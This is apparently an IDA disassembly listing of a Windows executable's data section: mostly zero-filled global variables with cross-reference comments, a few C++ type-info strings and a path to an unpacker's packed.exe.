off_43D78C dd offset off_427D68 ; DATA XREF: ___:off_427E8Co
; ___:00427ED0o ...
dd 0
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_43D7B0 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o
; ___:00427F14o
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_42470C
align 10h
dword_43D7D0 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o
dword_43D7D8 dd 2 dup(0) ; DATA XREF: sub_40111D+62o
; ___:0040146Eo ...
dword_43D7E0 dd 0 ; DATA XREF: ___:004015B0o
; sub_401ACD+B07o ...
dd 5 dup(0)
dword_43D7F8 dd 0 ; DATA XREF: sub_401ACD+B63r
; sub_4150B4+60r
dd 2D9h dup(0)
dword_43E360 dd 0 ; DATA XREF: sub_401ACD+5E62r
; sub_401ACD+5F3Fr ...
dd 7Fh dup(0)
dword_43E560 dd 0 ; DATA XREF: sub_40B0F6+41w
; sub_40B231+40w ...
dword_43E564 dd 0 ; DATA XREF: sub_40B0F6+47w
; sub_40B231+46w ...
dword_43E568 dd 0 ; DATA XREF: sub_40B0F6+52w
; sub_40B231+3Ar ...
dword_43E56C dd 0 ; DATA XREF: sub_40111D+Cr
; sub_4017ED+B9w ...
dword_43E570 dd 0 ; DATA XREF: sub_40B231+75r
; sub_40B412+2Aw ...
dword_43E574 dd 0 ; DATA XREF: ___:004015FFw
; ___:00401677w ...
byte_43E578 db 0 ; DATA XREF: sub_4017ED+91o
; sub_401ACD+5DA7r ...
align 4
dd 1C75h dup(0)
dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:00433E1Co
db 0
byte_45004D db 3 dup(0) ; DATA XREF: ___:00438108o
dword_450050 dd 1CFCh dup(0)
db 0
byte_457441 db 3 dup(0) ; DATA XREF: ___:off_438B74o
dword_457444 dd 17780h dup(0)
db 0
byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_4389E0o
dd 5846h dup(0)
dword_4CB360 dd 0 ; DATA XREF: sub_40111D+FDw
; sub_40B0F6+13o ...
dword_4CB364 dd 0 ; DATA XREF: ___:0040125Ew
; sub_401ACD:loc_4044D7r ...
dword_4CB368 dd 0 ; DATA XREF: ___:loc_4016FFo
dword_4CB36C dd 20h dup(0) ; DATA XREF: ___:004016B6o
; ___:00401750o ...
dword_4CB3EC dd 10h dup(0) ; DATA XREF: ___:004016CCo
dword_4CB42C dd 24h dup(0) ; DATA XREF: ___:004016E3o
dword_4CB4BC dd 0 ; DATA XREF: ___:004016D7w
; ___:00401767w ...
dword_4CB4C0 dd 0 ; DATA XREF: ___:004016F6w
align 10h
byte_4CB4D0 db 0 ; DATA XREF: sub_401955+28r
; sub_401955+30o
align 4
dword_4CB4D4 dd 0 ; DATA XREF: ___:00401704w
; ___:0040171Br ...
dword_4CB4D8 dd 0 ; DATA XREF: ___:004016BBw
; sub_401ACD+8BEr
dword_4CB4DC dd 0 ; DATA XREF: sub_401ACD+7DBFo
; sub_40C9A4+13o ...
dword_4CB4E0 dd 0 ; DATA XREF: sub_409B12+4A7w
; sub_409B12+4EBr ...
dword_4CB4E4 dd 0 ; DATA XREF: sub_409B12+65w
; sub_4196BC+166r
dword_4CB4E8 dd 0 ; DATA XREF: sub_409B12+80Bw
; sub_409B12+880r ...
dword_4CB4EC dd 0 ; DATA XREF: sub_409B12+9D8w
; sub_409B12+A43r ...
dword_4CB4F0 dd 0 ; DATA XREF: sub_409B12+98Aw
; sub_409B12+A13r ...
dword_4CB4F4 dd 0 ; DATA XREF: sub_409B12+48Dw
; sub_409B12+4DBr ...
dword_4CB4F8 dd 0 ; DATA XREF: sub_409B12+213w
; sub_409B12+234r
dword_4CB4FC dd 0 ; DATA XREF: sub_409B12+9CBw
; sub_409B12+A3Br ...
dword_4CB500 dd 0 ; DATA XREF: sub_409B12+372w
; sub_409B12+3C7r ...
dword_4CB504 dd 0 ; DATA XREF: sub_409B12+40Fw
; sub_41AA42+11Er
dword_4CB508 dd 0 ; DATA XREF: sub_409B12+37Fw
; sub_409B12+3CFr ...
dword_4CB50C dd 0 ; DATA XREF: sub_409B12+3C0w
; sub_418C8E+ADr
dword_4CB510 dd 0 ; DATA XREF: sub_409B12+55Aw
; sub_40F0D5+115r ...
dword_4CB514 dd 0 ; DATA XREF: sub_409B12+72w
; sub_409B12+D2r ...
dword_4CB518 dd 0 ; DATA XREF: sub_409B12+97Dw
; sub_409B12+A06r ...
dword_4CB51C dd 0 ; DATA XREF: sub_409B12+3A6w
; sub_409B12+3E7r ...
dword_4CB520 dd 0 ; DATA XREF: sub_409B12+859w
; sub_409B12+8ACr ...
dword_4CB524 dd 0 ; DATA XREF: sub_409B12+2A5w
; sub_409B12+2F0r ...
dword_4CB528 dd 0 ; DATA XREF: sub_409B12+84Cw
; sub_409B12+8A4r ...
dword_4CB52C dd 0 ; DATA XREF: sub_409B12+B3w
dword_4CB530 dd 0 ; DATA XREF: sub_409B12+866w
; sub_409B12+8B4r ...
dword_4CB534 dd 0 ; DATA XREF: sub_409B12+54Dw
; sub_409B12+6D0r ...
dword_4CB538 dd 0 ; DATA XREF: sub_409B12+58w
; sub_409B12+CAr ...
dword_4CB53C dd 0 ; DATA XREF: sub_409B12+934w
dword_4CB540 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r
; sub_409B12+A95w ...
dword_4CB544 dd 0 ; DATA XREF: sub_409B12+A6w
; sub_409B12+F2r
dword_4CB548 dd 0 ; DATA XREF: sub_409B12+480w
; sub_409B12+4D3r ...
dword_4CB54C dd 0 ; DATA XREF: sub_409B12+5F6w
; sub_40BFA3+20r
dword_4CB550 dd 0 ; DATA XREF: sub_409B12+9BEw
; sub_409B12+A33r
dword_4CB554 dd 0 ; DATA XREF: sub_409B12+5E9w
; sub_409B12+754r ...
dword_4CB558 dd 0 ; DATA XREF: sub_409B12+A0Cw
dword_4CB55C dd 0 ; DATA XREF: sub_409B12+B50w
dword_4CB560 dd 0 ; DATA XREF: sub_409B12+7FEw
; sub_409B12+86Dr ...
dword_4CB564 dd 0 ; DATA XREF: sub_409B12+1B3w
; sub_40B2F1+3Do ...
dword_4CB568 dd 0 ; DATA XREF: sub_409B12+997w
; sub_409B12+A1Br ...
dword_4CB56C dd 0 ; DATA XREF: sub_409B12+38Cw
; sub_409B12+3D7r ...
dword_4CB570 dd 0 ; DATA XREF: sub_409B12+399w
; sub_409B12+3DFr ...
dword_4CB574 dd 0 ; DATA XREF: sub_409B12+C85w
; sub_409B12+C8Cr ...
dword_4CB578 dd 0 ; DATA XREF: sub_409B12+6ACw
; ___:0041088Fr
dword_4CB57C dd 0 ; DATA XREF: sub_40111D+1Dr
; sub_40111D+23r ...
dword_4CB580 dd 0 ; DATA XREF: sub_409B12+4B4w
; sub_4153BC+207r
dword_4CB584 dd 0 ; DATA XREF: sub_409B12+9E5w
; sub_409B12+A4Br ...
dword_4CB588 dd 0 ; DATA XREF: sub_401000+51r
; sub_409B12+2B2w ...
dword_4CB58C dd 0 ; DATA XREF: sub_409B12+7Fw
; sub_409B12+DAr ...
dword_4CB590 dd 0 ; DATA XREF: sub_401ACD+5911r
; sub_401ACD+79CEr ...
dword_4CB594 dd 0 ; DATA XREF: ___:004012ADr
; sub_401ACD+5117r ...
dword_4CB598 dd 0 ; DATA XREF: sub_409B12+825w
; sub_409B12+890r ...
dword_4CB59C dd 0 ; DATA XREF: sub_409B12+9A4w
; sub_409B12+A23r
dword_4CB5A0 dd 0 ; DATA XREF: sub_409B12+C0Ew
; sub_409B12+C3Fr
dword_4CB5A4 dd 0 ; DATA XREF: sub_409B12+2CCw
; sub_4184E1+47r
dword_4CB5A8 dd 0 ; DATA XREF: sub_409B12+22Dw
dword_4CB5AC dd 0 ; DATA XREF: sub_409B12+91Aw
; sub_409B12+92Er
dword_4CB5B0 dd 0 ; DATA XREF: sub_409B12+C28w
dword_4CB5B4 dd 0 ; DATA XREF: sub_409B12+2D9w
; sub_4184E1+4Fr
dword_4CB5B8 dd 0 ; DATA XREF: sub_409B12+574w
; sub_409B12+6E8r ...
dword_4CB5BC dd 0 ; DATA XREF: sub_409B12+83Fw
; sub_409B12+873r
dword_4CB5C0 dd 0 ; DATA XREF: sub_409B12+220w
; sub_409B12+23Cr
dword_4CB5C4 dd 0 ; DATA XREF: sub_409B12+172w
; sub_409B12+1C2r ...
dword_4CB5C8 dd 0 ; DATA XREF: sub_401ACD+1E30r
; sub_401ACD+5AC7r ...
dword_4CB5CC dd 0 ; DATA XREF: sub_4017ED+C4r
; sub_401ACD+51A1r ...
dword_4CB5D0 dd 0 ; DATA XREF: sub_409B12+567w
; sub_409B12+6DCr ...
dword_4CB5D4 dd 0 ; DATA XREF: sub_409B12+8DBw
; sub_409B12:loc_40A40Bw ...
dword_4CB5D8 dd 0 ; DATA XREF: sub_401000+26r
; sub_409B12+28Bw ...
dword_4CB5DC dd 0 ; DATA XREF: sub_401ACD+7959r
; sub_409B12+69Fw ...
dword_4CB5E0 dd 0 ; DATA XREF: sub_409B12+32Dw
; sub_409B12+341r ...
dword_4CB5E4 dd 0 ; DATA XREF: sub_409B12+3B3w
; sub_409B12+3EFr ...
dword_4CB5E8 dd 0 ; DATA XREF: sub_409B12+C01w
; sub_409B12+C37r
dword_4CB5EC dd 0 ; DATA XREF: sub_409B12+818w
; sub_409B12+888r ...
dword_4CB5F0 dd 0 ; DATA XREF: sub_409B12+206w
; sub_409B12+227r
dword_4CB5F4 dd 0 ; DATA XREF: sub_409B12+18Cw
; sub_409B12+1D2r ...
dword_4CB5F8 dd 0 ; DATA XREF: sub_409B12+832w
; sub_409B12+898r ...
dword_4CB5FC dd 0 ; DATA XREF: sub_409B12+624w
; sub_409B12+774r
dword_4CB600 dd 0 ; DATA XREF: sub_401000+5Ar
; sub_409B12+2BFw ...
dword_4CB604 dd 0 ; DATA XREF: sub_409B12+66Bw
; sub_409B12+79Cr ...
dword_4CB608 dd 0 ; DATA XREF: sub_409B12+320w
; sub_409B12+334r ...
dword_4CB60C dd 0 ; DATA XREF: sub_409B12+644w
; sub_409B12+784r ...
dword_4CB610 dd 0 ; DATA XREF: sub_409B12+44Cw
; sub_409B12+4AEr ...
dword_4CB614 dd 0 ; DATA XREF: sub_409B12+199w
; sub_409B12+1DAr ...
dword_4CB618 dd 0 ; DATA XREF: sub_409B12+365w
; sub_409B12+3BAr ...
dword_4CB61C dd 0 ; DATA XREF: sub_409B12+AA2w
dword_4CB620 dd 0 ; DATA XREF: sub_409B12+5DCw
; sub_409B12+748r ...
dword_4CB624 dd 0 ; DATA XREF: sub_4017ED+3Er
; sub_401ACD+5153r ...
dword_4CB628 dd 0 ; DATA XREF: sub_409B12+4Bw
; sub_409B12+C2r ...
dword_4CB62C dd 0 ; DATA XREF: sub_409B12+473w
; sub_409B12+4CBr ...
dword_4CB630 dd 0 ; DATA XREF: sub_409B12+165w
; sub_409B12+1BAr ...
dword_4CB634 dd 0 ; DATA XREF: sub_409B12+9FFw
; sub_409B12+A5Br ...
dword_4CB638 dd 0 ; DATA XREF: sub_409B12+685w
; sub_409B12+7ACr ...
dword_4CB63C dd 0 ; DATA XREF: sub_401955+D1r
; sub_401ACD+51B6r ...
dword_4CB640 dd 0 ; DATA XREF: sub_409B12+C1Bw
; sub_409B12+C47r
dword_4CB644 dd 0 ; DATA XREF: sub_409B12+3Ew
; sub_409B12+BAr ...
dword_4CB648 dd 0 ; DATA XREF: sub_401000+45r
; sub_409B12+298w ...
dword_4CB64C dd 0 ; DATA XREF: sub_409B12+651w
; sub_409B12+78Cr ...
dword_4CB650 dd 0 ; DATA XREF: sub_409B12+637w
; sub_409B12+77Cr ...
dword_4CB654 dd 0 ; DATA XREF: sub_401ACD+73B9r
; sub_409B12+C92w
dword_4CB658 dd 0 ; DATA XREF: sub_409B12+879w
; ___:004168D5r ...
dword_4CB65C dd 0 ; DATA XREF: sub_409B12+112w
dword_4CB660 dd 0 ; DATA XREF: sub_409B12+BE7w
; sub_409B12+C22r
dword_4CB664 dd 0 ; DATA XREF: sub_401ACD+2FE4r
; sub_401ACD+5F98r ...
dword_4CB668 dd 0 ; DATA XREF: sub_409B12+459w
; sub_409B12+4BBr ...
dword_4CB66C dd 0 ; DATA XREF: sub_409B12+49Aw
; sub_409B12+4E3r ...
dword_4CB670 dd 0 ; DATA XREF: sub_409B12+466w
; sub_409B12+4C3r ...
dword_4CB674 dd 0 ; DATA XREF: sub_401955+89r
; sub_401ACD+51D3r ...
dword_4CB678 dd 0 ; DATA XREF: sub_409B12+1A6w
; sub_409B12+1E2r ...
dword_4CB67C dd 0 ; DATA XREF: sub_409B12+9F2w
; sub_409B12+A53r ...
dword_4CB680 dd 0 ; DATA XREF: sub_409B12+158w
; sub_409B12+1ADr ...
dword_4CB684 dd 0 ; DATA XREF: sub_409B12+8Cw
; sub_409B12+E2r ...
dword_4CB688 dd 0 ; DATA XREF: sub_409B12+610w
; sub_409B12+764r ...
dword_4CB68C dd 0 ; DATA XREF: sub_409B12+B43w
; sub_409B12+B5Fr
dword_4CB690 dd 0 ; DATA XREF: sub_409B12+33Aw
; sub_419651+55r
dword_4CB694 dd 0 ; DATA XREF: sub_409B12+27Ew
; sub_409B12+2D3r ...
dword_4CB698 dd 0 ; DATA XREF: sub_409B12+BAAw
dword_4CB69C dd 0 ; DATA XREF: sub_409B12+AECw
; sub_40AB31+CEr
dword_4CB6A0 dd 0 ; DATA XREF: sub_409B12+ADFw
; sub_409B12+AE6r ...
dword_4CB6A4 dd 0 ; DATA XREF: sub_4017ED+A6r
; sub_401ACD+5132r ...
dword_4CB6A8 dd 0 ; DATA XREF: sub_401ACD+5124r
; sub_401ACD+7980r ...
dword_4CB6AC dd 0 ; DATA XREF: sub_409B12+BF4w
; sub_409B12+C2Fr
dword_4CB6B0 dd 0 ; DATA XREF: sub_401ACD+1E56r
; sub_401ACD+5AEDr ...
dword_4CB6B4 dd 0 ; DATA XREF: sub_409B12+9B1w
; sub_409B12+A2Br ...
dword_4CB6B8 dd 0 ; DATA XREF: sub_409B12+65Ew
; sub_409B12+794r ...
dword_4CB6BC dd 0 ; DATA XREF: sub_40111D+12r
; sub_4017ED+D0r ...
dword_4CB6C0 dd 0 ; DATA XREF: sub_409B12+59Bw
; sub_409B12+70Cr ...
dword_4CB6C4 dd 0 ; DATA XREF: sub_409B12+B36w
; sub_409B12+B57r
dword_4CB6C8 dd 0 ; DATA XREF: sub_409B12+540w
; sub_409B12+6C4r ...
dword_4CB6CC dd 0 ; DATA XREF: sub_409B12+B29w
; sub_409B12+B4Ar
dword_4CB6D0 dd 0 ; DATA XREF: ___:00401273r
; sub_409B12+31w ...
dword_4CB6D4 dd 0 ; DATA XREF: sub_409B12+17Fw
; sub_409B12+1CAr ...
dd 0
dword_4CB6DC dd 0 ; DATA XREF: sub_409B12+927w
; sub_409B12+93Br
dword_4CB6E0 dd 0 ; DATA XREF: sub_409B12+99w
; sub_409B12+EAr ...
dword_4CB6E4 dd 0 ; DATA XREF: sub_409B12:loc_409C10w
; sub_409B12+12Bw ...
dword_4CB6E8 dd 0 ; DATA XREF: sub_409B12+126w
; sub_40A7CE+1Cr
dword_4CB6EC dd 0 ; DATA XREF: sub_409B12:loc_409D00w
; sub_409B12:loc_409D67w ...
dword_4CB6F0 dd 0 ; DATA XREF: sub_409B12+250w
; sub_40A7CE+50r
dword_4CB6F4 dd 0 ; DATA XREF: ___:0040156Ar
; sub_401ACD+4567r ...
dword_4CB6F8 dd 0 ; DATA XREF: sub_409B12+41Ew
; sub_40A7CE+84r
dword_4CB6FC dd 0 ; DATA XREF: sub_409B12:loc_40A016w
; sub_40A7CE:loc_40A87Er
dword_4CB700 dd 0 ; DATA XREF: sub_409B12+4FFw
; sub_40A7CE+B8r
dword_4CB704 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w
; sub_40A7CE:loc_40A8B2r
dword_4CB708 dd 0 ; DATA XREF: sub_409B12+7D0w
; sub_40A7CE+ECr
dword_4CB70C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w
; sub_409B12+8EFw ...
dword_4CB710 dd 0 ; DATA XREF: sub_409B12+8EAw
; sub_40A7CE+120r
dword_4CB714 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r
; sub_409B12:loc_40A466w ...
dword_4CB718 dd 0 ; DATA XREF: sub_409B12+94Fw
; sub_40A7CE+154r
dword_4CB71C dd 0 ; DATA XREF: sub_401ACD+456Fr
; sub_409B12:loc_40A582w ...
dword_4CB720 dd 0 ; DATA XREF: sub_409B12+A6Bw
; sub_40A7CE+188r
dword_4CB724 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw
; sub_40A7CE:loc_40A982r
dword_4CB728 dd 0 ; DATA XREF: sub_409B12+AB5w
; sub_40A7CE+1BCr
dword_4CB72C dd 0 ; DATA XREF: sub_409B12:loc_40A616w
; sub_40A7CE:loc_40A9B6r
dword_4CB730 dd 0 ; DATA XREF: sub_409B12+AFFw
; sub_40A7CE+1F0r
dword_4CB734 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw
; sub_40A7CE:loc_40A9EAr
dword_4CB738 dd 0 ; DATA XREF: sub_409B12+B73w
; sub_40A7CE+224r
dword_4CB73C dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w
; sub_40A7CE:loc_40AA1Er
dword_4CB740 dd 0 ; DATA XREF: sub_409B12+BBDw
; sub_40A7CE+258r
dword_4CB744 dd 0 ; DATA XREF: sub_409B12:loc_40A772w
; sub_40A7CE:loc_40AA52r
dword_4CB748 dd 0 ; DATA XREF: sub_409B12+C5Bw
; sub_40A7CE+28Cr
dword_4CB74C dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw
; sub_40A7CE:loc_40AA86r
dword_4CB750 dd 0 ; DATA XREF: sub_409B12+CA5w
; sub_40A7CE+2C0r
dword_4CB754 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o
dword_4CB770 dd 0 ; DATA XREF: sub_40BA56+18r
; sub_40BFEB+92w ...
dword_4CB774 dd 0 ; DATA XREF: sub_40C124+4Dr
; sub_40C124+2F1w ...
dd 7FEh dup(0)
dword_4CD770 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o
; sub_40C124+13Bo ...
dword_4CD788 dd 0 ; DATA XREF: sub_40BACD+2C4w
; sub_40BACD+348o
dword_4CD78C dd 0 ; DATA XREF: sub_40BACD+33Ew
; sub_40BACD+35Ar
dword_4CD790 dd 0 ; DATA XREF: sub_40BACD+2CFw
dword_4CD794 dd 0 ; DATA XREF: sub_40BACD+2B9w
; sub_40BACD:loc_40BDE2r
dword_4CD798 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o
; sub_40BACD+302o
dword_4CD818 dd 0 ; DATA XREF: sub_40BACD+2D5w
dword_4CD81C dd 0 ; DATA XREF: sub_40BACD+2EFw
; sub_40BACD+30Fw
dword_4CD820 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr
align 8
dword_4CD828 dd 0 ; DATA XREF: sub_40BACD+82w
; sub_40BACD+101o
dword_4CD82C dd 41h dup(0) ; DATA XREF: sub_40BACD+41o
dword_4CD930 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o
dword_4CDA34 dd 0 ; DATA XREF: sub_40BACD+F7w
; sub_40BACD+113r
dword_4CDA38 dd 0 ; DATA XREF: sub_40BACD+52w
dword_4CDA3C dd 0 ; DATA XREF: sub_40BACD+4Dw
; sub_40BACD+D4r
dword_4CDA40 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao
; sub_40BACD+BAo
dword_4CDAC0 dd 0 ; DATA XREF: sub_40BACD+8Fw
dword_4CDAC4 dd 0 ; DATA XREF: sub_40BACD+A7w
; sub_40BACD+C7w
dword_4CDAC8 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r
align 10h
dword_4CDAD0 dd 0 ; DATA XREF: sub_40BACD+1A5w
; sub_40BACD+225o
dword_4CDAD4 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o
dword_4CDBD8 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co
dword_4CDCDC dd 0 ; DATA XREF: sub_40BACD+21Bw
; sub_40BACD+237r
dword_4CDCE0 dd 0 ; DATA XREF: sub_40BACD+17Aw
dword_4CDCE4 dd 0 ; DATA XREF: sub_40BACD+175w
; sub_40BACD+1F8r
dword_4CDCE8 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo
; sub_40BACD+1DEo
dword_4CDD68 dd 0 ; DATA XREF: sub_40BACD+1B1w
dword_4CDD6C dd 0 ; DATA XREF: sub_40BACD+1CBw
; sub_40BACD+1EBw
dword_4CDD70 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar
align 8
dword_4CDD78 dd 0 ; DATA XREF: sub_40BACD+417w
; sub_40BACD+470o
dword_4CDD7C dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o
dword_4CE004 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo
dword_4CE108 dd 0 ; DATA XREF: sub_40BACD+3FCw
; sub_40BACD+423r
align 10h
dword_4CE110 dd 0 ; DATA XREF: sub_40BACD+466w
; sub_40BACD+482r
dword_4CE114 dd 0 ; DATA XREF: sub_40BACD+429w
dword_4CE118 dd 0 ; DATA XREF: sub_40BACD+436w
dword_4CE11C dd 0 ; DATA XREF: sub_40BACD+3F6w
dd 0
dword_4CE124 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r
dd 0
dword_4CE12C dd 0 ; DATA XREF: sub_40B719+Er
; sub_40B719+32r
dword_4CE130 dd 0 ; DATA XREF: sub_40B719+9r
; sub_40B719+26r
dword_4CE134 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do
dword_4CE33C dd 2 dup(0) ; DATA XREF: sub_40CF04+68o
dword_4CE344 dd 0 ; DATA XREF: sub_40D89F+8w
; ___:0040DC6Eo
dd 0
dword_4CE34C dd 2 dup(0) ; DATA XREF: ___:0040DBA4o
dword_4CE354 dd 0 ; DATA XREF: ___:0040E4D7r
dd 0
dd 0
dword_4CE360 dd 0 ; DATA XREF: ___:0040E4AAr
dword_4CE364 dd 0 ; DATA XREF: ___:0040E48Cr
; ___:0040E4F5r
dd 0
dword_4CE36C dd 0 ; DATA XREF: sub_40BACD+2AEr
; ___:0040E6E8w
dd 0
dword_4CE374 dd 0 ; DATA XREF: sub_40B785+1Cr
dword_4CE378 dd 0 ; DATA XREF: ___:0040EFE8w
; ___:0040F00Fr ...
dd 3 dup(0)
dword_4CE388 dd 0 ; DATA XREF: ___:00410905r
align 10h
dword_4CE390 dd 0 ; DATA XREF: sub_412351+4w
; sub_412351+9o
dd 109h dup(0)
dword_4CE7B8 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo
; sub_401ACD:loc_404AC4o
dword_4CEDD8 dd 0 ; DATA XREF: sub_401ACD+1A23w
; sub_401ACD+2F66r ...
dd 11Ch dup(0)
dword_4CF24C dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do
; sub_41524Co ...
dword_4D324C dd 0 ; DATA XREF: sub_4151AC+13o
; sub_41524C+Eo ...
dword_4D3250 dd 0 ; DATA XREF: sub_4155F7+Fr
; sub_4157F0+12r
align 8
dword_4D3258 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo
dword_4D3290 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o
dword_4D3490 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o
; sub_417275+DDo ...
dword_4D3C90 dd 130h dup(0) ; DATA XREF: sub_416F1A+D6o
; sub_417275+F4o ...
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: ___:off_437EF0o
dd 0CFh dup(0)
dword_4D4490 dd 0 ; DATA XREF: sub_416F1A+86w
; sub_4170EC+94r
dword_4D4494 dd 0 ; DATA XREF: sub_416F1A+A7w
; sub_417552+55r ...
dword_4D4498 dd 0 ; DATA XREF: sub_416F1A+A0w
; sub_4170EC+D6r ...
dword_4D449C dd 0 ; DATA XREF: sub_416F1A+79w
; sub_4170EC+35r ...
dword_4D44A0 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo
dword_4D46A0 dd 0 ; DATA XREF: sub_416F1A+93w
; sub_4170EC+A2r
align 8
dword_4D46A8 dd 0 ; DATA XREF: sub_416F1A+E7o
; sub_416F1A+103r ...
dword_4D46AC dd 0 ; DATA XREF: sub_417275+17Bw
; sub_41741C+107w
dword_4D46B0 dd 0 ; DATA XREF: sub_417275+180w
; sub_41741C+10Dw ...
dword_4D46B4 dd 0 ; DATA XREF: sub_417275+159w
; sub_417552+4Fr
dword_4D46B8 dd 0 ; DATA XREF: sub_4178BA+22w
; sub_4178BA:loc_417A3Fw ...
dword_4D46BC dd 0 ; DATA XREF: sub_401ACD+3CC3o
; sub_417788+12o ...
dd 0
dword_4D46C4 dd 0 ; DATA XREF: sub_4178BA+1Cr
; sub_417A5F+3Ar
dd 7Fh dup(0)
dword_4D48C4 dd 0 ; DATA XREF: sub_4178BA+28r
; sub_417A5F+4Aw
dd 1944h dup(0)
dword_4DADD8 dd 0 ; DATA XREF: sub_417A5F+23o
dword_4DADDC dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o
; sub_417788+3Co ...
dword_4DAFE0 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo
; sub_4187DD+131o ...
dword_4DB03C dd 80h dup(0) ; DATA XREF: sub_419593+7Co
; sub_419593+A5o
dword_4DB23C dd 0 ; DATA XREF: sub_418B58+45w
; sub_418B58+4Dr ...
dword_4DB240 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o
; sub_41945F+12Do
dword_4DB29C dd 80h dup(0) ; DATA XREF: sub_418A98+4Co
; sub_418A98+7Eo ...
byte_4DB49C db 0 ; DATA XREF: sub_418B58+29r
; sub_418B58+34w
align 10h
dword_4DB4A0 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o
; sub_418DAF+89o ...
dword_4DB6A0 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o
; sub_4186C1+5Bo
dword_4DB8A4 dd 0 ; DATA XREF: sub_419A20:loc_419A41r
; sub_419B0F+54r ...
dword_4DB8A8 dd 0 ; DATA XREF: sub_419A20r
; sub_419B0F+37r ...
dword_4DB8AC dd 0 ; DATA XREF: sub_419A50+1Ar
; sub_419C64+83o
dword_4DB8B0 dd 0 ; DATA XREF: sub_419A20:loc_419A34r
; sub_419C64+11Bw
dword_4DB8B4 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o
; sub_419C64:loc_419DA1o
dword_4DB8E8 dd 0 ; DATA XREF: sub_419B0F+CDr
; sub_419B0F+ECr ...
align 10h
dword_4DB8F0 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o
dword_4DB928 dd 0 ; DATA XREF: sub_41BBBD+1B9w
; ___:loc_41D268w ...
dword_4DB92C dd 0 ; DATA XREF: sub_41D3BE+35w
; sub_41DA72:loc_41DB0Cw ...
dword_4DB930 dd 0 ; DATA XREF: sub_423A33+13Ar
dd 0A28h, 501h, 5, 1
dword_4DB944 dd 1 ; DATA XREF: ___:loc_401516r
; ___:00423014w
dword_4DB948 dd 25D0B30h ; DATA XREF: ___:0040151Fr
; ___:0040153Fr ...
align 10h
dword_4DB950 dd 25D0B58h ; DATA XREF: ___:00422F0Ew
; sub_425AC7+9r ...
dword_4DB954 dd 0 ; DATA XREF: sub_4261AB+36r
dword_4DB958 dd 0 ; DATA XREF: sub_425AC7+16r
; sub_425E95+4r ...
align 10h
off_4DB960 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
; "C:\\m_unpacker\\packed.exe"
align 8
byte_4DB968 db 0 ; DATA XREF: sub_41B7D3+2Dw
; sub_4239DB+5r
align 4
dword_4DB96C dd 0 ; DATA XREF: sub_41B7D3+27w
dword_4DB970 dd 0 ; DATA XREF: sub_41B7D3+4r
; sub_41B7D3+8Bw
dword_4DB974 dd 0 ; DATA XREF: sub_41C0F4+3Br
; sub_41C0F4+91w
dd 0
dword_4DB97C dd 0 ; DATA XREF: sub_41C748+Aw
dword_4DB980 dd 0 ; DATA XREF: sub_41D081+5Er
; sub_41D081+A4w
align 8
word_4DB988 dw 0 ; DATA XREF: sub_41D081+55r
; sub_41D081+9Ao
word_4DB98A dw 0 ; DATA XREF: sub_41D081+48r
db 2 dup(0)
word_4DB98E dw 0 ; DATA XREF: sub_41D081+3Br
word_4DB990 dw 0 ; DATA XREF: sub_41D081+2Er
word_4DB992 dw 0 ; DATA XREF: sub_41D081+21r
align 8
dword_4DB998 dd 0 ; DATA XREF: ___:loc_422EDCr
; ___:loc_422F1Er ...
align 10h
dword_4DB9A0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB9A4 dd 0 ; DATA XREF: sub_41EB10+4Bw
; sub_41EC29+2Dw ...
dword_4DB9A8 dd 0 ; DATA XREF: sub_41F312r
dword_4DB9AC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er
; sub_41B202:loc_41B43Fr ...
dword_4DB9B0 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r
; sub_420042+4w ...
dword_4DB9B4 dd 0 ; DATA XREF: sub_420446+37r
dd 0
dword_4DB9BC dd 0 ; DATA XREF: sub_4219D9+11r
; sub_421ADD+1Ar ...
byte_4DB9C0 db 0 ; DATA XREF: sub_4219D9+3r
; sub_4219D9+98r ...
align 4
dword_4DB9C4 dd 0 ; DATA XREF: sub_421ADD+11r
; sub_421BBB+21w ...
byte_4DB9C8 db 0 ; DATA XREF: sub_421BBB+51w
align 4
dword_4DB9CC dd 0 ; DATA XREF: sub_421DB1+4Er
; sub_42218C+3Ar ...
